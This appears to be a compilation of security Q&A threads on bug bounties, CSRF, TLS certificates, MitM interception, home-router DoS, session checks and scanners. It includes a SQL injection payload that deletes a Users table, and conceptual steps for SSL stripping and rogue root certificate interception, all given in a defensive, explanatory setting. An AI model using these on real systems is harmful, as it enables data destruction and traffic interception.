Could bug bounty hunting accidentally cause real damage? If an application's code contains even minor and subtle inaccuracies, it can open up the entire database to SQL injection. In this example (see section 'Delete All Method'), the entire Users table gets deleted with a trivial SQL injection ("1) OR 1=1--").
This had me wondering, have any white hats / bounty hunters (perhaps amateurs) looked for vulnerabilities and accidentally caused massive, real damage to the site/app/business? How do bounty programs deal with such a risk?

Can bounty hunting cause real damage?
Sure. As you pointed out, some SQL injection vectors may inadvertently cause data deletion. Similarly, a persistent XSS attack may trigger in the browser of a real user. Or unusual characters in a username may crash a web application backend due to an unhandled encoding error.
More generally, a large part of black box pentesting involves experimenting with unexpected/invalid input to the target application. Some level of fuzzing is usually unavoidable - and this always carries the risk of causing behavior that breaks the application or corrupts data. So, while blindly trying out DELETE queries may be reckless and avoidable, vendors have to face that even benign bug hunting occasionally impacts service integrity or availability.
Did a bounty hunter ever cause actual damage?
This report is an example of where the researcher caused a DOS by submitting invalid data. I'm entirely sure there are more severe examples, many of which simply weren't made public. Anecdotally, I remember several occasions where bug hunters were banned from programs because the tools they used were too disruptive.
How do bug bounty programs manage this risk?

A testing environment. While some bug bounties assume you're testing against production, many provide a separate sandbox and only allow you to test there. E.g., the program of Bitmex includes the rule:

Only test on testnet.bitmex.com.

A "responsible research" policy which asks that hunters make an effort to avoid damage. Rules would include not accessing real user data, limiting automated testing tools, etc. For example, Facebook's program demands:

You make a good faith effort to avoid privacy violations and disruptions to others, including (but not limited to) unauthorized access to or destruction of data, and interruption or degradation of our services. You must not intentionally violate any applicable laws or regulations, including (but not limited to) laws and regulations prohibiting the unauthorized access to data.

An emergency contact point. Some providers instruct hunters how to notify them immediately if their actions have caused service disruption. From the program of Exodus:

If you do accidentally cause some noticeable interruption of service, please immediately email us so we can handle it accordingly h1@exodusmovement.opsgenie.net and please include the subject title "HackerOne Outage: " for the alert to trigger.

Safe harbor clauses protect participants
Nowadays, many program policies come with a safe harbor clause. This is intended to protect hunters from liability if they act in good faith, even if their actions have caused damage. Since IANAL, I can't comment on the effectiveness of such a policy, but it's an established practice. Here is an example of a safe harbor clause in the program of Dropbox:

We will not pursue civil action or initiate a complaint to law enforcement for accidental, good faith violations of this policy. We consider activities conducted consistent with this policy to constitute “authorized” conduct under the Computer Fraud and Abuse Act. To the extent your activities are inconsistent with certain restrictions in our Acceptable Use Policy, we waive those restrictions for the limited purpose of permitting security research under this policy. We will not bring a DMCA claim against you for circumventing the technological measures we have used to protect the applications in scope.

You'll find a similar passage in the rules of most large programs.


Understanding the difference between POST and PUT when securing against CSRF Several of my Spring Security based projects expose a RESTful API that support the full range of HTTP verbs: GET, POST, PUT, PATCH, DELETE, etc. For those projects only using GET and POST, everything works as expected. When using PUT, however, I encounter CSRF protection issues that usually lead me to disable CSRF protection.
My primary question is, "Why does Spring Security treat PUT and POST differently?"
My secondary question is, "Is disabling CSRF protection a real issue given that my projects are truly stateless, use no cookies and require a valid OAuth2 bearer token?"
I also have a secondary level of protection verifying that the bearer of the OAuth2 token is authorized to perform the requested action.
I suspect that PATCH and DELETE would encounter the same issue with CSRF protections in Spring Security but have not developed test-cases to validate my suspicions. We usually develop the PUT use-case before developing the others.
FWIW, this issue appears in Spring Security 4 and 5. I have some of both in my projects.

By default, CSRF is only even possible for a few verbs - GET, POST, HEAD, and in some cases OPTIONS - because those are the only verbs possible for cross-site requests at all. Of those, only POST should ever change state on the server, although of course in practice people allow GET requests to change state all the time (logout CSRF via a GET request to //site.com/logout for example).
It is possible to enable CSRF risks for other verbs by configuring CORS on your server and allowing the remote site as an allowed "Origin", allowing the relevant verbs ("Methods"), and allowing Credentials (typically cookies) in the cross-site request. However, by default that's disabled, and even if you enable it you should only ever allow it for specific, trusted sites; essentially taking down some of the same-origin policy between your site and the allowed "Origin" because you trust them to be secure and non-malicious.
I don't know what Spring Security is doing for CSRF protection on non-GET/POST/HEAD requests, but if it's getting in your way and you haven't enabled CORS, you can safely turn it off for those requests only. There's also ways to just render CSRF a non-issue, such as using a bearer token (in the HTTP "Authorization" header) instead of cookies; bearer tokens aren't sent automatically, so they must be manually included via script, and if the attacker can do that then they just already know the victim's session token and there's no need to forge a request from the victim's browser. The "SameSite" cookie flag can also block most CSRF risks, although it's not supported on very old browsers and also in "Lax" mode it doesn't protect against CSRF via top-level GET requests (i.e. setting window.location) although it does still protect against GET-based CSRF via things like iframes or image tags (and also you shouldn't have state-changing GET requests anyhow...).


When unlocking an encrypted drive, how does the unlocking program know it was successful? This is very similar question to: If someone breaks encryption, how do they know they're successful?

Basically, the answers to that question is that an attacker doesn't know when decryption was successful.

So then how do encryption programs(e.g. gpg) know when you have decrypted something successfully? Do they have a magic value that is encrypted during encryption and makes sure that it decrypts to that value? If so, does that expose a vulnerability?

Generally speaking, the encryption is deemed successful if the result "makes sense". In the case of an encrypted disk, one can expect to find a properly structured filesystem after decryption, and a filesystem has a lot of recognizable features.

Also, many disk encryption softwares, which protect disks with a password, include an explicit "magic value" in order to promptly inform the user when he typed his password wrong. This is much better than trying to work with an improperly decrypted disk, which may result in data loss.


Sanitise specific HTML attribute values against XSS We want to implement a "safe mode" in a Markdown parser called Parsedown. We have a MarkupEscaped option that disables HTML input, but this is not enough. In order to be safe, the parser needs to sanitise user generated attribute values.

These are the:

href and title attributes of a tags.
src and title attributes of img tags.

How should we process these values to make them safe for the attributes that they belong to?

Make sure to escape all quote variations (single and double) and restrict the URL in the href and src attribute to an XSS-safe scheme like http: or https: (as opposed to javascript:, data: or whatever).

Also consider running the parser output through HTML Purifier to keep it in a sandbox environment. This will catch weaknesses of your own implementation in case you've overlooked something (which can always happen).

Last but not least, custom HTML markup should always be backed up with Content Security Policy. But this may be beyond the scope of your project.


Is there any write-once USB stick/pendrive? Is there any Write-once USB stick/Pendrive?
I need to submit some files to Authorities and I don't want them to modify on whatsoever.
Any suggestion?

You can take a hash (with for example SHA256) or a signature of the data you sumbit. This will be an electronic proof of (un)tampering. You can mandate a notary to keep a copy of the data and its hash or signature, to have a dated proof.
Even if you sumbit your data on a write-once medium, like a CD-R for example, nothing technically prevents the recipient to make a copy of the data then alter it. Its supporting medium can be copied too.


SSH Public Key / Host Key - Can Client Request Key Length? In SSH, does the client have any power in determining the key size of the host key, or is it completely dependent on what the servers host key is?

For instance, say the client and server agree on using ssh-rsa or ssh-dss. Is the connection automatically secured with the key size of the SSH server?

Is it possible for the client to disconnect if the servers public key is ssh-rsa 1024-bit, but the client needs ssh-rsa 2048 - bit?

Or does the client not have any power besides negotiating what host key algorithm is used?

For RSA and 'dss' hostkey pkalgs yes the server uses whatever key size it has; in general a client can fail the handshake if it considers the hostkey too small or otherwise cryptographically unsatisfactory, although I don't know any that does. (Whereas of course most do reject a hostkey that mismatches the pre-configured or previously-accepted one.) For ecdsa-$hash-$curve ssh-ed25519 ssh-ed448 the size (and other curve parameters) are fixed by the registered name, and the client can negotiate for only some -- although all are at least roughly 128-bit strength, which NIST considers adequate beyond 2030 (although this will almost certainly change if quantum happens) whereas RSA and DSA 2048 are rated at only 112-bit strength and you need 3072 for 128-bit strength.

'Secure[d]' normally includes both confidentiality and integrity/authenticity, and of course (in v2) the hostkey is only for authentication. For 'kex' (key exchange) for confidentiality, the client can specify named DH groups (of known sizes) or 'group exchange' (DHGEX) with minimum, preferred and maximum bitsize, or specific curves for ECDH (including the Bernstein X-only variant).


What would happen if one of the popular Linux repositories is hacked? Even though most people consider downloading your Linux software from you own distribution's repositories as safe, thinking about the scenario where a repository gets hacked sounds thrilling.

What would happen if a repository which hosts widely used applications gets hacked and those applications are replaced (or added) with viruses/trojans/malwares? How fast would that be noticed, and did anything like a "repository hack" happened in the past and lots of machines got affected?

Note that kernel.org was, in fact, hacked.  There is an interesting analysis of how this did not affect any downstream provider.  Basically, the primary reason why this attack did not yield any significant results was due to the Git source control system that is used.

http://www.theregister.co.uk/2011/08/31/linux_kernel_security_breach/

(I can't seem to find the original kernel.org messages, though their original press release is buried in this article:
http://thehackernews.com/2011/09/kernelorg-server-rooted-and-448-users.html)


Squid SSL Bump - getting "unknown issuer" despite having certificate, do I need CA? I am using pfSense on the gateway of my network. I configured Squid and enabled the HTTPS filtering. I created the internal CA and configured Squid to use this internal CA for SSL Bump.

Now the problem is when I try to access any site, this shows a warning message that the certificate is not from a valid issuer, "sec_error_unknown_issuer". Moreover most browsers implement the HTTPS Strict (HSTS) so they won't let the sites open with the non-trusted certificate.

I purchased a server certificate and added this to the CA, but then Squid will not even start.

What should I do? Do I need to add the root certificate of the certifying authority, or I cannot bypass this warning message. For the SSL bumping all Squid needs to do is to behave as a server to the client and as a client to the server.
If it generates a certificate for a particular website on go then it is logically not possible.

My question is how to bypass this warning message on the client machine. I tried adding the certificates to the Firefox lists but this does not help due to HSTS.

You need to add the generated CA certificate to your browser as squid is performing MITM on your https connections.


Using NameConstrains in a CA certificate I am trying to do something similar to what has been pointed out in this nice answer by Jonathon Reinhart.

I have a CA certificate with Name Constrains (RFC):

Permitted
     [1]Subtrees (0..0):
          DNS Name=valid.com
Excluded=None

Actually, I would like to prevent the CA from signing any other cert that can do a serverAuth, so I used a white list (would it be possible to have a Excluded = * ? how?)

This CA cert is Trusted by the user's browser.

Now I create 2 certs, one with SAN: DNS Name=valid.com and the other with SAN: DNS Name=fake.com, both signed by the CA. I configure my local DNS to associate these domains with localhost.

Then I configure the web service to use the "fake" cert and visit fake.com.
It gives me an error "The certificate has an invalid name. The name is not included in the permitted list or is explicitly excluded.", which is good, although for some reason the error is shown by Windows over the CA certificate:

Then I configure the web service to use the "valid" cert and visit valid.com, which is supposed to be accepted. But I get exactly the same error in the same conditions.

What is it going wrong in here?

Pretty sure it should be

DNS Name=.valid.com

to allow the subtree.

https://www.sysadmins.lv/blog-en/x509-name-constraints-certificate-extension-all-you-should-know.aspx has more information.


How do I diagnose client-side SSL errors? Often on my home network I get random SSL certificate errors when I visit certain well-known sites. Today it was a Google SSL error, where Google apparently tried to identify itself as *.icloud.com. In the past we have seen errors from Facebook, Barnes and Noble, and others. It also seems to be network-wide; my desktop, phone, and wife's phone have SSL problems as well when we're connected to the network.

I'm not a security expert, so I have a few off-the-wall guesses as to why this could be happening:

The DNS server we're using is unreliable. My router's DHCP settings uses Google's DNS service, so I doubt it.
Someone is actually trying to do a man-in-the-middle attack. That seems unlikely to me, especially since the bad certificates I see claim to be from Apple, Akamai, etc.
My ISP is having routing problems.
All these sites I'm randomly having problems with are actually misconfigured, and I need to wait for their system administrators to fix the problem.

What are the most common causes for these errors? Where do you start to diagnose these errors?

In SSL, things go like that: the client looks up the server name in the DNS; then it connects to the IP address the DNS came up with; then the SSL handshake occurs, during which the server sends its certificate. Note that the actual URL has not been sent anywhere at that point, only the server name; so we can ignore the URL for the diagnosis.

Since the problem impacts several machines with distinct OS and browsers, we can probably rule out browser and OS bugs.

Google, Barnes and Noble, Facebook... are human creation which, as such, are imperfect and may fail occasionally; but it is quite improbable that they all fail simultaneously.

If you are the target of a Man-in-the-Middle attack, then the attacker is singularly incompetent. That's quite improbable too.

To sum up, the problem is probably somewhere between your router and your ISP. The symptoms you observe are coherent with the hypothesis that the TCP connection from your browser, formerly directed at www.google.com, ends up on Apple's iCloud servers. A first potential scenario is the following:

  Your router is a DNS relay. Over DHCP, it actually configures your home machines to use the router as DNS server, and that router will feed on the external DNS server you configured (Google's DNS server). In that case, if the router mixes its internal tables (due to a software bug or bad RAM), then it may gives wrong IP addresses to your machines.

In that scenario, the problem is not limited to SSL. Indeed, when the browser wants to connect to any server, it asks for the server name but not for the port or protocol. Therefore, if that hypothesis is correct, then non-SSL, plain HTTP connections should also occasionally fail. For instance, if your connection to www.facebook.com is redirected to the IP address of www.google.com, you will get a Google answer (actually a redirect to Google's main page), and nothing Facebook-like.

If only your SSL connections have trouble, then this is not a DNS issue. This would point to a second potential scenario:

  Your ISP has some problem with its dynamic routing. It tries to route traffic optimally, moving packets between several destinations. These routing decision can be port-specific, thus explaining why the problem occurs with SSL only. For some reason (possibly bad RAM again, in one of the ISP routers), packets can get misdirected.

I have known an old Cisco router (with bad RAM) which behaved a bit like that. When a router processes an IP packet, it must copy and partially modify the header (at least to modify the TTL) so bugs in the router can result in destination address being mangled.

This scenario has a variant in which your router has bad RAM (again...) and trips on its own feet when doing NAT.

To further diagnose the problem:

When the problem occurs, from the same machine, do a nslookup www.google.com (if you wanted to contact Google but was redirected somewhere else) then openssl s_client -connect www.google.com:443 (using the OpenSSL command line tool -- if you use Linux or MacOS X, then you already have it). This will tell you what IP address is returned by the DNS, and what certificate is returned by the server which purportedly answers at that address.
If the problem is intermittent (i.e. the browser connection fails, but trying again immediately works), try running a network capture tool like Wireshark or Network Monitor to observe exactly what went on when the problem occurred. You will see the IP addresses as seen from your machine.
Change your home router. For instance, borrow an old router from a friend, or buy a new one (these cost 40$). If the problem is at your ISP, then the ISP support staff will probably first claim that your router is at fault, so this step cannot really be avoided anyway. If changing the router removes the issue, then you know that bad RAM stroke once again.


how to make a web based system that connects only the authorized user in the wi-fi access this is for our thesis project. we proposed to study the Wi-Fi security in most related to the users.

The usual method is called "Captive Portal".

When the client first connects, all web page requests are intercepted and sent to the the login page instead. (Any non-web traffic sent at this point is dropped.)

One the user authenticates, the access point notes that it's authenticated, and subsequently allows traffic from that connection through to the Internet.


Does where I put my PKI certificates matter? I have an intermediate and a root PKI certificate that I see were already imported into a computers (windows server 2003) certificate store. However both the intermediate and root certificates were placed in the 'Trusted Root Certification Authorities' certificates folder.

That is obviously the appropriate place for the root certificate but not the intermediate certificate. Other then being in the wrong place aesthetically, will having the intermediate certificate in the 'wrong' folder cause failures or technical problems? In otherwords, are the folder locations just for organization, or do they affect functionality of the PKI certificates?

If you put the intermediate CA certificate in the "trusted root" store, then you are instructing your machine to actually trust that certificate ex nihilo. You have turned it into a trusted root. When, for instance, your Web browser tries to validate a certificate issued by that "intermediate" CA, it will accept it with a chain which begins with that CA, totally ignoring the true root CA.

The basic consequence is that the intermediate CA can no longer be revoked: since your machine trusts that certificate by virtue of it being in the "trusted roots" store, and not by virtue of it being signed by another trusted certificate, then it has no reason whatsoever to download a CRL which covers it. By definition, trusted roots are not revoked; they are installed manually, and if they are no longer to be trusted, then they are removed manually as well.

Thus, emplacement matters. Certificates in the "trusted root" store are meant to be managed explicitly, so you should put there only the CA certificates that you intend to manage explicitly. "Explicit management" here means "when the certificate must not be trusted anymore, the sysadmin must manually remove the certificate from the store".


Should the email server/application be protected by 2 factor authentication? What applications should be protected? When should email be protected by 2 factor authentication?

Suppose a given company is in an industry where two factor authentication is offered to some or all of its clients. Does this mean that it should also offer (or require) two factor authentication to its employees?

If the roll-out of two-factor authentication doesn't target every applications in a company, what criteria should be used when evaluating an application?

I don't think there is a simple answer for this: your security demands may vary.  If you fear keyloggers stealing your passwords, giving adversaries access to confidential email, then by all means use 2-factor authorization (among other techniques).  However, if you only anticipate receiving relatively mundane emails then there isn't a need for it, and enabling it could be an extra burden -- e.g., if you lose your cell phone on vacation you can't log in to any of your systems.

Additionally, using 2-factor auth may encourage bad habits; e.g., you may think my phone is always on me; so I can use a simple easily guessable password.  Then on systems that have been authenticated once, it may be straightforward for someone to guess your password.

In summary; 2-factor auth provides extra security when:

users frequently authenticate from a variety of untrusted client computers that may be running keyloggers
users don't mind the burden of needing to be able to receive text message/phone call to authenticate
users don't always cache the first authentication (only cache on trusted computers; and  still require the user to enter password)
users are still required to have strong passwords in the second authentication
web authentication still use https (or equivalent; e.g., ssh login) (prevent MITM attacks with spoofed servers; keep your password secret in case a valid token is later found).

As an aside, email by itself is not a good method for sending confidential data -- the email as its routed is sent in plaintext for any intermediate mail server/router/transport agent to read.  You really should encrypt/sign sensitive emails using PGP (or similar) to protect the contents of emails from being read or secretly altered.


Is this email from DigiCert about SSL certificates genuine? A few days ago, I received the email below (supposedly) from DigiCert, about an SSL certificate. I am the owner of the domain (redacted to example.com) but I guess it's kind of trivial to look this up somewhere. The certificate is backed up by an intermediate certificate authority named "Trust Provider B.V. DV SSL CA - G2" and was bought from a company named Version, not Whitelabel. Frankly, I've never seen that name before. I've seen that Digicert acquired some website business from Symantec but that was half a year ago.

Is this a real e-mail or a phishing attempt?

  Dear Domain Administrator,

  We've received a Whitelabel certificate request for example.com. (With
  DigiCert's recent acquisition of Whitelabel, we're now responsible for
  processing your order.)

  Order info:
  Domain name: example.com
  Order number: [redacted]
  Ordered on: 5 Mar 2018
  Certificate type: DV

  What's next?

  Before we can issue your certificate, approve the request to verify
  that you control example.com.

  View the order details and complete the request here (link is valid
  for 30 days):
  https://dcv.digitalcertvalidation.com/link/domain-control-validation/?t=[redacted]

  Contact us if you have questions or need to reject the request here:
  (801) 441-6086

  Why am I getting this email from DigiCert?

  Recently, DigiCert acquired Whitelabel and all of its SSL/TLS
  services. While there will continue to be changes to Whitelabel as we
  build a stronger website security platform, we can promise you that
  things will get better and that we will continue to dedicate ourselves
  to providing you with the best website security experience possible.

  Thank you,
  Whitelabel Customer Support
  (801) 441-6086
  Support ID: [redacted]

The mail makes it clear that it is a reaction to a request to issue a certificate for your domain and that you need to verify that you are the owner of the domain by following the link if you want the certificate gets issued.

While the mail seems to tell a solid story it is impossible from the information you've provided to know if the mail is really from DigiCert and also if you should follow the instructions in the mail or not. The main information which is missing: Did you as the owner of the domain recently requested that a certificate should be issued for the domain or not? If you did not recently requested a requested a certificate to be issued then somebody might be trying to trick you into confirming something you did not want. If you instead actually requested the certificate and did not get it yet then this verification mail is probably valid.

If in doubt please contact the company you usually use to buy the certificates.


Can someone help me decipher what these netgear log entries mean? Am I getting hacked? Can someone help me decipher what these log entries mean? Am I getting hacked?

So this is my residential router is a netgear gateway C3700-100NAS with Spectrum Internet. Usually I have no problems. But every so often, intermittently and not very predictable, I would notice my Internet slow down to a crawl, and even pinging 8.8.8.8 or www.yahoo.com will time out or have insane times.

I checked my netgear gateway C3700-100NAS logs and saw this.... Apparently in the span of less than a minute or so there were hundreds of entries for Source of "140.3.230.0" and Target/Destination of "149.104.249.105". Neither of these IPs have anything to do with my residential IP address nor would/should any device on my network be sending nor receiving anything to or from any of these IP addresses.

Based on a simple lookup it appears that 149.104.249.105 is Location is Washington D.C. (Northwest Washington), District of Columbia US - ISP is Cogent Communications and that 140.3.230.0 is Location is Columbus, Ohio US - ISP is DoD Network Information Center.

Can anyone have any idea what is going on?

https://i.imgur.com/cf2t7BQ.jpg

=== update =====

But one of the problem is I'm with TWC /Spectrum and they statically assign public IP addresses so I'm stuck with the one I have gotten. The only time that I ever gotten a new IP was when my previous router died and when I got a replacement router I had to call them in with the MAC/ CM MAC info and that is after they registered the new Router on their end (also the same C3700 netgear model) I noticed when going to whatismyipaddress that I gotten a new public IP address. It doesn't happen all the time but when it does happen it slows me down to a crawl and usually a reboot stops it, but not because it changed to a different IP address (its static)

The other thing I thought was strange is that assuming the IP address are legit and not spoofed or anything, apparently based on whatever public records available it appears to be coming from a government network going to another government network

All of them are Source of "140.3.230.0" and Target/Destination of "149.104.249.105"

At first glance, your home network seems to be used for a Denial of Service (DoS) attack. If this is the case, you already have been hacked.
What should I do?

If you want, you may let your ISP know about it --> here. Your ISP might be interested helping you block an attack on a Department of Defense server.

Use Wireshark to monitor the traffic on the devices connected to your router when crawling become slow. The device producing the most traffic is likely the culprit.

Update your question with some .pcap samples when you find the culprit(s).

What should I find with Wireshark, how do I find the culprit(s)?

You want to find ICMP/ping packets bigger than 65,536 bytes. (You need to understand how PoD works.)

If you find those ICMP sessions on a device, save the .pcap, take a screenshot and repeat the process on the remaining devices. You want to know how many devices have been compromised.

If you find some malicious ICMP Session we want to see the details of the layer 2, 3 and 4.

I found those malicious sessions you speak about on my device!(s)
There is/are some malware(s) on your machine(s), find it, and nuke it.
How do I nuke the malware?
There is a lot of antivirus software available. But, from my point of view, the best way would be to totally wipe the compromised device(s).
I found nothing on Wireshark.

Try again. Wireshark might not be easy to use, try to be familiar with the filters. In this case, filter for ICMP or PING traffic.

I really found nothing on Wireshark, tried on all my devices, 5 times.
Then, there is slight chance that your router is compromised. Attackers often attempt to hide their presence, and will attempt to suppress logging.
So what if my router is compromised?

Be sure that your router firmware is up to date

Reset your router to factory default.

Don't use admin as login, set a brand new strong password.

Could these attacks be coming through my WiFi AP?
Yes, this could be performed by an uninvited device that is accessing your Wifi. Check your AP's WiFi DHCP/Static leases to be sure.
Important !
Try to not input passwords, credit card info, or other sensitive data on your devices before being 100% sure that your devices are clean. If malware is on your network doing the DOS, there is a good chance that a keylogger may be present, too.


Authentication scheme security: unique link and birth date Recently I had to make an appointment at a hospital. I got an email with a link with a token in the form of a GUID. This brought me to a page where I had to enter my birth date to see the details.

This detailed page contained sensitive details like my SSN, what department my appointment was for (e.g. surgery, radiology etc.) and my doctor's name.

The email was send through TLS. The link has not expired so far and I am not able to change my password (the concept 'password' does not seem to exist).

Since my birthday is basically public information, is this scheme equivalent to sending me a plaintext password (GUID)? Or is there something that I'm missing?

I would say its secure.
The unique link, ensures that nobody that know your birthdate, can just logon and gain access to your information.

And the birthdate login, ensures that somebody that catches the email in transit (for example, on a public wifi), and the email happens not to be encrypted, cannot abuse your link since they don't know your birthdate.

I would say its sufficently secure for sending, not extremely sensitive information, but I would say your SSN, department, doctor's name and appointment time, for a single patient, is not extremely sensitive.

As you know, the rules for security changes in how many patient details you send. For example, sending a stack with 100 journals from one hostpital to a another, is not permitted via snail mail at all, you need to send it with guarded transport.
But sending a single journal to a patient, is permitted to be sent in a simple letter, you don't even need to send it traceable or registred.

And its generally similiar when it comes to email. You may send simple information, but not more than that. Sending a link to the journal would not be permitted, but sending the information you got, is OK.
However, sending a link to the journal via a GUID link + for example a SMS code to your phone, would be permissible.

So I would say, for the threats that are applicable, I would say its sufficently secure.

I think that they have made so the link expires when your appointment are over. It would ofcourse be dumb to make the link expire earlier, since you might read the appointment on mobile, think "yeah, its 1 week left, I can write the time into the calendar when I come home", and then when you come home, the link is expired/used.


How do I perform a legal SSL MitM attack for my company? I have been given a task to test some of our company's security. I have SSL stripped before but on a very basic level and now days with the security is a bit harder.

I want to allow all HTTPS traffic but what I want to do is decrypt and re-encrypt so the webserver does not throw a fuss, because most web servers now force SSL so rather than try and fight it I want to go with it and do the attack this way.

What would be the best way for me to achieve this?

You can't authenticate as the server
The problem is not that the server will "throw a fuss" it won't.  You can easily spoof the server into thinking you are the user.  The user isn't authenticating with an SSL cert. The problem is you can't trick the user or more specifically the user's browser.  Remember for a MITM attack the attacker needs to establish connections with both entities (hence in the middle).
Client <---------> MITM Attacker <----------> Server
With http it is trivial.  You sit in the middle and pretend to be the server to the client and pretend to be the client to the server.  The problem with https isn't the link between you and server (as far as the server is concerned you are the client).  The problem is in the link between you and the user.
When user browses to https://example.com the browser will expect:

That an SSL cert is returned
That the SSL cert has example.com in the hostname
That the SSL cert is signed (or indirectly signed) by a root cert in its trusted root keystore.

If you block the client from getting the ssl cert from example.com the browser will give the user an error (http timeout)
If you send the user a valid (signed by a CA) cert for another hostname the browser will give the user an error (incorrect hostname)
If you send the user a cert for example.com which you create and it is not signed the browser will give the user an error (cert not trusted).
If you send the user a cert for example.com which you sign by another CA cert you control the browser will give the user an error (cert not trusted) because it doesn't trust your CA cert.
SSL Strip (redirecting the user to http)
How SSL Strip works is by redirecting the user from https to http.  User browses to http://example.com and you intercept that send the user a redirect to http://example.com and still establish a secure connection between you and the server.
Client <--- HTTP ---> MITM Attacker <---- HTTPS ---> Server
Understand you are potentially compromising the user to other real attackers.  If the user is connecting by say company wifi anyone on the wifi could steal sensitive information because you have stripped off the ssl.
The user however may notice they are on http not https (why is my bank website not showing green bar).  Sadly this is not that common most users will just blindly assume they are secure so HSTS was developed to protect users from this type of attack.  If browser supports HSTS, the site is using HSTS, and the user has been to the site before (or HSTS was preloaded by the browser) the user will get an error/warning when you redirect to http.
"Infect" user's computer with a "trusted" root cert that you control
The only way around HSTS (especially with preload) is to create a CA cert which you have the private key for and the install that in the browser/os of the victim.  Then when you MITM the user you can create a cert for example.com, sign it by your MITM CA cert.  The browser will validate the example.com cert you created and check the signature which will be valid and come from a cert it trusts (in the trusted root keystore).  This will require administrative access on the user's machine.
Even this will not work if the key pinning has been used in the browser to make a note of the "real" example.com cert.


Do GPG and OpenSSH use key stretching on their keypairs? Both OpenSSH and GPG can generate key pairs which are stored as files in well-known paths inside the user directory. A passphrase is always asked for during the generation process, which is then used to encrypt the contents of the private key using a symmetric encryption algorithm.

I'd like to know if these programs do also apply a key stretching technique such as PBKDF2 or scrypt to the passphrase before using it. Supposing one of these files was ever compromised I'd like to make sure that deriving the real decryption key takes about 10-20 seconds on commodity hardware, thus rendering bruteforce attacks impractible for the time being. Is that even possible?

OpenSSH

As of version 6.5 OpenSSH offers a new private key format that supports the bcrypt KDF. The new format can be enforced by passing the -o flag to ssh-keygen. The number of KDF rounds can be customized with the -a flag.

$ ssh-keygen -o -a 1000

References: ssh-keygen man page and Ted Unangst' blog.

GPG

I couldn't find anything equivalent to the above command flags. If there is, let me know in the comments and I'll update the answer.


Is a stack trace of a server application a vulnerability? In relation to my question on programmers.stackexchange.com.

Is it a security risk to have your application display a full stack trace to the user when things crash? Some security audit that our application passed through says it is. I disagree. I don't see how that could help an attacker in any way.

Of course, there is the principle of "tell as little as possible", but that has to be balanced with common sense too, and I think that there is greater benefit of having that information easily available than risk of having it abused.

Have there been any studies about this? Any evidence at all that would suggest that this is a security risk? Or is this an overzealos application of the above principle?

A stack trace is an information leak, which reveals information about your implementation. Whilst not a serious vulnerability, it does allow an attacker to gain certain information about your system. It may also allow them to use a debugging-based approach to exploiting flaws in your site.

One might argue that the stack trace in itself is a vulnerability, since nobody should be able to crash your site in such a way.

Ignoring the security implications, it's not exactly confidence-inducing for your customers to see a stacktrace. They'll assume the site is broken (which it is, really) and worry about whether their transaction will work, or perhaps even think that the site has been hacked.

Further reading: Is it a vulnerability to display exception messages in an error page?


SQL injection and XSS prevention I would kindly ask you to review the following code and tell me if it's enough to prevent most of SQL injection and XSS attacks.

SQL injection: treated via PDO prepared statements;
XSS: All user's inputs are parsed in every documents through htmlentities + ENT_QUOTES + 'UTF-8';

Here is an example of my code:

<?php
    $db_hostname='localhost';
    $db_username='user';
    $db_password='pass';
    $db_dbname='db_name';
    $db_conn_str="mysql:host=" . $db_hostname . ";dbname=" . $db_dbname;

    try {
        $db = new PDO($db_conn_str, $db_username, $db_password);
        $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

        $stmt = $db->prepare("SELECT * FROM users_db WHERE uname = ?");

        $stmt->bindValue(1, $_SESSION['Kuser']);
        $stmt->execute();

        $result = $stmt->fetchAll();

        if (count($result) > 0) {
            $fnameR = htmlentities($result[0]['fname'], ENT_QUOTES, 'UTF-8');
            $lnameR = htmlentities($result[0]['lname'], ENT_QUOTES, 'UTF-8');
            $addressR = htmlentities($result[0]['address'], ENT_QUOTES, 'UTF-8');
            $emailR = htmlentities($result[0]['email'], ENT_QUOTES, 'UTF-8');
            $db=null;
        }
        else {
            $db=null;
            header('Location: access.php');
        }
    }
    catch (PDOException $e) {
        $db=null;
        header('Location: error.php');
    }
?>

This code snippet retrieves if an user exist in the database and if so, fetches some data from the table that get parsed in the html document.

Please also be aware of the following:

Absolutely no input in the application from user A is visible to user B;
The only user inputs visible in any html documents of the application is their own information stored in the database like in the above code block where an user can modify their personal information through a standard html form;
The only file in the application that parses input from other users is accessed by me, and the information is treated via htmlentities as well. It is a page that generates a html table with the list of usernames like so:

while($row = mysqli_fetch_assoc($resultSHOW)) {
    echo "
" . htmlentities($row['uname'], ENT_QUOTES, 'UTF-8'). "
";
}

Any interaction between the user and the MySQL database are operated with MySQL credentials that has only SELECT UPDATE and INSERT privileges. All other SQL commands are disabled for them.
All of PHP and MySQL errors messages are customized. The user is in fact redirected to a generic error page when an error occurs.

So the question remains, is all of the above enough to prevent most of SQL injection and XSS attacks? I understand that it's really hard to prevent every security threats, I am simply looking in preventing most of the case here.

Also, concerning session hijacking, my application works in a way that when an user log in, a custom session variable is created and saved. Then, every page this user visit checks if this session variable exists and allow the user to access the account section of the application like so:

<?php
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
}
?>

Where $_SESSION['user'] is the user's username.

It is the only tool my application uses to check if an user has actually log in! If this variable is not set, the user is redirected to the login.php page, otherwise, they can navigate through the account section of the application.

Reading many documents available online, I understand that this can be really vulnerable to session hijacking. What would be the best approach regarding that? I want to keep it as simple as possible, I am not interested in using cookies as they are vulnerable to cookie thefts. But if you think it is better so, I will kindly listen to your arguments.

I'm sorry to inform you that while you're using parameterized queries (which is great) your authentication checks are severely flawed. Sending the redirect header does not halt the execution, so any code that occurs after the redirect will still execute. You can validate this yourself by using a web agent that can ignore redirects such as curl.


Operating system scanner I am confused about Operating Systems scanner vs Network Scanner. Usually a network scanner such as Nessus can already check for operating systems vulnerability. So what does an operating system scanner do? Any ideas? thanks.

A network scanner interrogates the target over the network:

determines open ports via (semi-)exhaustive search
determines software and versions, if possible, based on banners and behavior
checks for known vulnerabilities (e.g., does /CFIDE/administrator exist)

but it is limited by only having network access.  The banner printed on port 22 will identify the SSH version, but this can be misleading - if the OS vendor has backported security fixes (common practice), then the banner may indicate an older, vulnerable version when in fact the software is newer enough to be invulnerable to those issues.

An operating system scanner uses local credentials to access the system from the inside.

determines listening ports looking at the OS tools (e.g. netstat)
queries exact software installations and versions
queries installed patches and file versions to see if vulnerabilities are patched

The operating system scanner is much more complete and accurate as a result.

There are a number of scanners that fall into this category to various degrees.  I can't recommend one (so many and so different) but they fall into two main categories:

Scanners or scanning services that performs "authenticated", "trusted", or "credentialed" scans; these will generally check OS configuration, patches, and installed software.

Qualys trusted scan
